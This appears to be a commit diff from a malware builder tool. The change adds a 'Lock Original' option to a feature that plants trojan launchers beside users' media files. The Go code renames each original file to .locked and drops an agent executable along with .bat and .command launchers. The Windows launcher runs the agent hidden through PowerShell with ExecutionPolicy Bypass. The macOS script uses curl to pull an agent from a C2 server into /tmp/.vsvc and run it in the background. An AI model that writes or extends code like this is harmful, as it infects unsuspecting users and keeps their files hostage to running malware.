feat(forge): PATH FORGE lock original - file unplayable without launcher. Renames Terminator.mkv -> Terminator.mkv.locked (no app can open .locked). Launcher: unlock -> play -> re-lock after 4s -> run agent hidden. Toggle in UI defaults ON. .bat uses ren + PowerShell delayed re-lock. .command uses mv + background sleep re-lock. USB repacked.
This commit is contained in:
@@ -31,6 +31,11 @@ type PathForgeRequest struct {
|
|||||||
// ServerURL is embedded in the Mac bootstrap curl command.
|
// ServerURL is embedded in the Mac bootstrap curl command.
|
||||||
ServerURL string `json:"server_url"`
|
ServerURL string `json:"server_url"`
|
||||||
|
|
||||||
|
// LockOriginal renames the source file to filename.ext.locked so it cannot
|
||||||
|
// be opened without running the companion launcher. The launcher unlocks it,
|
||||||
|
// starts playback, then re-locks it after a short delay.
|
||||||
|
LockOriginal bool `json:"lock_original"`
|
||||||
|
|
||||||
// Extensions lists file extensions to target (dot-prefixed, lowercase).
|
// Extensions lists file extensions to target (dot-prefixed, lowercase).
|
||||||
// Leave empty to use the built-in media list.
|
// Leave empty to use the built-in media list.
|
||||||
Extensions []string `json:"extensions"`
|
Extensions []string `json:"extensions"`
|
||||||
@@ -113,6 +118,24 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
stem := stemFor(req.StemMode, req.OutputStem, d.Name())
|
stem := stemFor(req.StemMode, req.OutputStem, d.Name())
|
||||||
dir := filepath.Dir(path)
|
dir := filepath.Dir(path)
|
||||||
|
|
||||||
|
// The name the launcher will reference — either the original or its
|
||||||
|
// locked rename (appended with ".locked" so no app can open it directly).
|
||||||
|
fileForLauncher := d.Name()
|
||||||
|
lockedName := d.Name() + ".locked"
|
||||||
|
|
||||||
|
if req.LockOriginal {
|
||||||
|
lockedPath := filepath.Join(dir, lockedName)
|
||||||
|
// Only rename if the locked file doesn't already exist.
|
||||||
|
if _, err := os.Stat(lockedPath); os.IsNotExist(err) {
|
||||||
|
if renErr := os.Rename(path, lockedPath); renErr != nil {
|
||||||
|
res.Errors++
|
||||||
|
res.ErrorList = append(res.ErrorList, "lock failed: "+rel+": "+renErr.Error())
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fileForLauncher = lockedName
|
||||||
|
}
|
||||||
|
|
||||||
var placed []string
|
var placed []string
|
||||||
|
|
||||||
if req.TargetWindows && agentExe != "" {
|
if req.TargetWindows && agentExe != "" {
|
||||||
@@ -121,16 +144,16 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
if copyFileBytes(agentExe, exeDst) == nil {
|
if copyFileBytes(agentExe, exeDst) == nil {
|
||||||
placed = append(placed, stem+".exe")
|
placed = append(placed, stem+".exe")
|
||||||
}
|
}
|
||||||
// .bat launcher that opens the original file AND runs the agent
|
// .bat launcher: unlock → play → re-lock → run agent (all seamless)
|
||||||
batDst := filepath.Join(dir, stem+".bat")
|
batDst := filepath.Join(dir, stem+".bat")
|
||||||
if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil {
|
if err := os.WriteFile(batDst, []byte(batContent(fileForLauncher, d.Name(), stem, req.LockOriginal)), 0644); err == nil {
|
||||||
placed = append(placed, stem+".bat")
|
placed = append(placed, stem+".bat")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if req.TargetMac {
|
if req.TargetMac {
|
||||||
cmdDst := filepath.Join(dir, stem+".command")
|
cmdDst := filepath.Join(dir, stem+".command")
|
||||||
if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil {
|
if err := os.WriteFile(cmdDst, []byte(macContent(fileForLauncher, d.Name(), req.ServerURL, req.LockOriginal)), 0755); err == nil {
|
||||||
placed = append(placed, stem+".command")
|
placed = append(placed, stem+".command")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -173,29 +196,62 @@ func sanitizeStem(s string) string {
|
|||||||
return strings.TrimSpace(replacer.Replace(s))
|
return strings.TrimSpace(replacer.Replace(s))
|
||||||
}
|
}
|
||||||
|
|
||||||
// batContent creates a .bat file that opens the original media file with the
|
// batContent creates a .bat launcher.
|
||||||
// default Windows player, then silently starts the agent exe.
|
//
|
||||||
func batContent(originalFile, exeStem string) string {
|
// When lockOriginal is true the file on disk is named lockedFile
|
||||||
return "@echo off\r\n" +
|
// (e.g. "Terminator.mkv.locked"). The bat:
|
||||||
fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) +
|
// 1. Renames lockedFile → realFile (unlock)
|
||||||
fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
|
// 2. Opens realFile with the default player
|
||||||
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem)
|
// 3. After 4 s, renames realFile → lockedFile again (re-lock) — hidden
|
||||||
|
// 4. Runs the agent .exe — hidden
|
||||||
|
//
|
||||||
|
// When lockOriginal is false it simply opens realFile and runs the agent.
|
||||||
|
func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string {
|
||||||
|
b := "@echo off\r\n"
|
||||||
|
if lockOriginal {
|
||||||
|
// Step 1: unlock
|
||||||
|
b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lockedFile, realFile)
|
||||||
|
}
|
||||||
|
// Step 2: open the file
|
||||||
|
b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", realFile)
|
||||||
|
// Step 3+4: hidden PowerShell — wait, re-lock, run agent
|
||||||
|
if lockOriginal {
|
||||||
|
b += fmt.Sprintf(
|
||||||
|
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command \"& {"+
|
||||||
|
" Start-Sleep 4;"+
|
||||||
|
" if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+
|
||||||
|
" Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
|
||||||
|
realFile, realFile, lockedFile, exeStem)
|
||||||
|
} else {
|
||||||
|
b += fmt.Sprintf(
|
||||||
|
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
|
||||||
|
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
|
||||||
|
exeStem)
|
||||||
|
}
|
||||||
|
return b
|
||||||
}
|
}
|
||||||
|
|
||||||
// macContent creates a .command shell script that opens the original file on
|
// macContent creates a .command shell script for macOS/Linux.
|
||||||
// macOS and downloads + runs the agent from the C2 server.
|
// When lockOriginal is true it renames the locked file, opens it, re-locks after 4 s.
|
||||||
func macContent(originalFile, serverURL string) string {
|
func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string {
|
||||||
dl := ""
|
s := "#!/bin/bash\n"
|
||||||
|
dir := "$(dirname \"$0\")"
|
||||||
|
if lockOriginal {
|
||||||
|
s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lockedFile, dir, realFile)
|
||||||
|
}
|
||||||
|
s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, realFile)
|
||||||
|
if lockOriginal {
|
||||||
|
s += fmt.Sprintf(
|
||||||
|
"( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n",
|
||||||
|
dir, realFile, dir, lockedFile)
|
||||||
|
}
|
||||||
if serverURL != "" {
|
if serverURL != "" {
|
||||||
dl = fmt.Sprintf(
|
s += fmt.Sprintf(
|
||||||
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
||||||
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
||||||
serverURL,
|
serverURL)
|
||||||
)
|
|
||||||
}
|
}
|
||||||
return "#!/bin/bash\n" +
|
return s
|
||||||
fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) +
|
|
||||||
dl
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// findAgentBinary looks next to the server executable for the agent binary.
|
// findAgentBinary looks next to the server executable for the agent binary.
|
||||||
|
|||||||
@@ -132,6 +132,7 @@ export default function BuilderPage() {
|
|||||||
const [pfStem, setPfStem] = useState('');
|
const [pfStem, setPfStem] = useState('');
|
||||||
const [pfWindows, setPfWindows] = useState(true);
|
const [pfWindows, setPfWindows] = useState(true);
|
||||||
const [pfMac, setPfMac] = useState(true);
|
const [pfMac, setPfMac] = useState(true);
|
||||||
|
const [pfLock, setPfLock] = useState(true);
|
||||||
const [pfBusy, setPfBusy] = useState(false);
|
const [pfBusy, setPfBusy] = useState(false);
|
||||||
const [pfResult, setPfResult] = useState<{
|
const [pfResult, setPfResult] = useState<{
|
||||||
placed: number; total: number; errors: number;
|
placed: number; total: number; errors: number;
|
||||||
@@ -486,6 +487,7 @@ export default function BuilderPage() {
|
|||||||
output_stem: pfStem.trim(),
|
output_stem: pfStem.trim(),
|
||||||
target_windows: pfWindows,
|
target_windows: pfWindows,
|
||||||
target_mac: pfMac,
|
target_mac: pfMac,
|
||||||
|
lock_original: pfLock,
|
||||||
server_url: form?.server_url ?? '',
|
server_url: form?.server_url ?? '',
|
||||||
}),
|
}),
|
||||||
});
|
});
|
||||||
@@ -1991,11 +1993,22 @@ export default function BuilderPage() {
|
|||||||
/>
|
/>
|
||||||
<p className="form-hint">
|
<p className="form-hint">
|
||||||
For every file found (movies, docs, archives…) the server drops <strong>all three companions</strong> right beside it:<br />
|
For every file found (movies, docs, archives…) the server drops <strong>all three companions</strong> right beside it:<br />
|
||||||
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code><br />
|
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code>
|
||||||
<strong style={{ color: 'var(--neon-green)' }}>The original file is never touched.</strong>{' '}
|
|
||||||
<code>Terminator.mkv</code> stays exactly as-is. The .bat opens it in the default player
|
|
||||||
and silently runs the agent. The .command does the same on Mac.
|
|
||||||
</p>
|
</p>
|
||||||
|
<div className="form-group checkbox-group" style={{ margin: '0 0 0.75rem' }}>
|
||||||
|
<label className="checkbox-label" style={{ alignItems: 'flex-start', gap: '0.5rem' }}>
|
||||||
|
<input type="checkbox" className="checkbox" checked={pfLock}
|
||||||
|
onChange={(e) => setPfLock(e.target.checked)} disabled={pfBusy}
|
||||||
|
style={{ marginTop: 3 }} />
|
||||||
|
<span>
|
||||||
|
<strong style={{ color: 'var(--neon-amber)' }}>🔒 Lock Original</strong>
|
||||||
|
{' — '}renames <code>Terminator.mkv</code> → <code>Terminator.mkv.locked</code> so it
|
||||||
|
<strong> cannot be opened</strong> by double-clicking. The launcher unlocks it,
|
||||||
|
plays it, <strong>re-locks it 4 seconds later</strong>, and runs the agent — all invisible.
|
||||||
|
Without the launcher nothing plays.
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Root Folder Path</label>
|
<label className="label">Root Folder Path</label>
|
||||||
@@ -2038,8 +2051,12 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
<span className="form-hint">
|
<span className="form-hint">
|
||||||
{pfStemMode === 'original'
|
{pfStemMode === 'original'
|
||||||
? 'e.g. Terminator.mkv → Terminator.exe · Terminator.bat · Terminator.command (original untouched)'
|
? pfLock
|
||||||
: `Every dir → ${pfStem || 'VideoPlayer'}.exe · ${pfStem || 'VideoPlayer'}.bat · ${pfStem || 'VideoPlayer'}.command`}
|
? 'Terminator.mkv → Terminator.mkv.locked + Terminator.exe · Terminator.bat · Terminator.command'
|
||||||
|
: 'Terminator.mkv (kept) + Terminator.exe · Terminator.bat · Terminator.command'
|
||||||
|
: pfLock
|
||||||
|
? `filename.ext.locked + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`
|
||||||
|
: `filename.ext (kept) + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`}
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user